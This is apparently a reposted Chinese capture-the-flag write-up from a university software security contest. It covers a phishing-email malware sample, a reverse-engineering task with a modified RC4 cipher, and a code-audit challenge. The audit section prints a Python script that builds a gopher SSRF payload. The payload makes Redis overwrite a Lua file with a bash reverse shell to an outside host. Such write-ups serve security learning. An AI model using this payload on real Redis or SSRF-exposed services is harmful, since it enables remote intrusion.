第十八届全国高校大学生软件创新大赛软件安全赛部分wp

admin 2025年1月11日12:58:19评论12 views字数 1616阅读5分23秒阅读模式

钓鱼邮件

第十八届全国高校大学生软件创新大赛软件安全赛部分wp

给了一个压缩包,解压发现邮件

第十八届全国高校大学生软件创新大赛软件安全赛部分wp
第十八届全国高校大学生软件创新大赛软件安全赛部分wp

打开将生日礼物保存发现存在密码

我们看邮件日期为2024/11/10日晚上23.54

推测生日为11.11

出生年为2024-24 是2000年

20001111

密码正确解压

发现一个exe文件

第十八届全国高校大学生软件创新大赛软件安全赛部分wp
第十八届全国高校大学生软件创新大赛软件安全赛部分wp

我们直接扔到安恒云沙箱里发现得到了ip和端口

222.218.218.218

55555

第十八届全国高校大学生软件创新大赛软件安全赛部分wp
第十八届全国高校大学生软件创新大赛软件安全赛部分wp

df3101212c55ea8c417ad799cfc6b509得到flag

donntyousee

第十八届全国高校大学生软件创新大赛软件安全赛部分wp

这题只能看汇编,幸好还能动调

第十八届全国高校大学生软件创新大赛软件安全赛部分wp
第十八届全国高校大学生软件创新大赛软件安全赛部分wp

这里是输入

全输入a过一下

第十八届全国高校大学生软件创新大赛软件安全赛部分wp
第十八届全国高校大学生软件创新大赛软件安全赛部分wp

这里传了个key和一个空数组去生成Sbox,需要注意的是调试起来的key和静态的key不一样,应该是有反调试,步入看看这个r8

第十八届全国高校大学生软件创新大赛软件安全赛部分wp
第十八届全国高校大学生软件创新大赛软件安全赛部分wp

Retn花指令,去掉就能看见伪代码

第十八届全国高校大学生软件创新大赛软件安全赛部分wp
第十八届全国高校大学生软件创新大赛软件安全赛部分wp

很标准的S盒生成这里我们直接步出,看下一个call r8

第十八届全国高校大学生软件创新大赛软件安全赛部分wp
第十八届全国高校大学生软件创新大赛软件安全赛部分wp

还是retn花指令

第十八届全国高校大学生软件创新大赛软件安全赛部分wp
第十八届全国高校大学生软件创新大赛软件安全赛部分wp

很明显就多异或了一个0x23

接下来我们需要去找密文

我去交叉引用了这个rc4发现他下面的一个函数类似check

第十八届全国高校大学生软件创新大赛软件安全赛部分wp
第十八届全国高校大学生软件创新大赛软件安全赛部分wp

点进去看,去一下花就能看见密文了

第十八届全国高校大学生软件创新大赛软件安全赛部分wp
第十八届全国高校大学生软件创新大赛软件安全赛部分wp

在这里打个断点提取一下密文然后去解密

第十八届全国高校大学生软件创新大赛软件安全赛部分wp
第十八届全国高校大学生软件创新大赛软件安全赛部分wp

然后去拿key

第十八届全国高校大学生软件创新大赛软件安全赛部分wp
第十八届全国高校大学生软件创新大赛软件安全赛部分wp
第十八届全国高校大学生软件创新大赛软件安全赛部分wp
第十八届全国高校大学生软件创新大赛软件安全赛部分wp
代码审计
第十八届全国高校大学生软件创新大赛软件安全赛部分wp

下载题目附件进行审计,审计代码逻辑如下图

第十八届全国高校大学生软件创新大赛软件安全赛部分wp
第十八届全国高校大学生软件创新大赛软件安全赛部分wp

然后执行进行了模板匹配:模板为:

##LUA_START####LUA_end##

中间为lua脚本代码

又审计script下的脚本发现是ssrf漏洞于是使用gpoher协议

第十八届全国高校大学生软件创新大赛软件安全赛部分wp
第十八届全国高校大学生软件创新大赛软件安全赛部分wp

在main.lua下是去读取这个文件于是,解题思路为覆盖该文件,让main读取执行,反弹shell

参考网上gpoher协议生成代码

import urllib.parseprotocol="gopher://"ip="127.0.0.1"port="6379"shell="""##LUA_START##os.execute("bash -c 'sh -i &>/dev/tcp/ip/port 0>&1'")##LUA_END##"""filename="visit.script"path="/scripts"      #如果无密码就不加,如果有密码就加cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"     ]payload=protocol+ip+":"+port+"/_"def redis_format(arr):    CRLF="rn"    redis_arr = arr.split(" ")    cmd=""    cmd+="*"+str(len(redis_arr))for x in redis_arr:        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")    cmd+=CRLFreturn cmdif __name__=="__main__":for x in cmd:        payload += urllib.parse.quote(redis_format(x))print(payload)

SSRF---gopher和dict打redis_gopher dict协议攻击redis-CSDN博客

第十八届全国高校大学生软件创新大赛软件安全赛部分wp
第十八届全国高校大学生软件创新大赛软件安全赛部分wp

在python执行生成payload剩下梭哈

第十八届全国高校大学生软件创新大赛软件安全赛部分wp
第十八届全国高校大学生软件创新大赛软件安全赛部分wp

注:ZeroPointZero安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

ZeroPointZero安全团队纳新群1:553624735

有兴趣的师傅欢迎一起来讨论!

团队纳新简历投递邮箱:[email protected]

原文始发于微信公众号(ZeroPointZero安全团队):第十八届全国高校大学生软件创新大赛--软件安全赛部分wp

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月11日12:58:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第十八届全国高校大学生软件创新大赛软件安全赛部分wphttps://cn-sec.com/archives/3603294.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息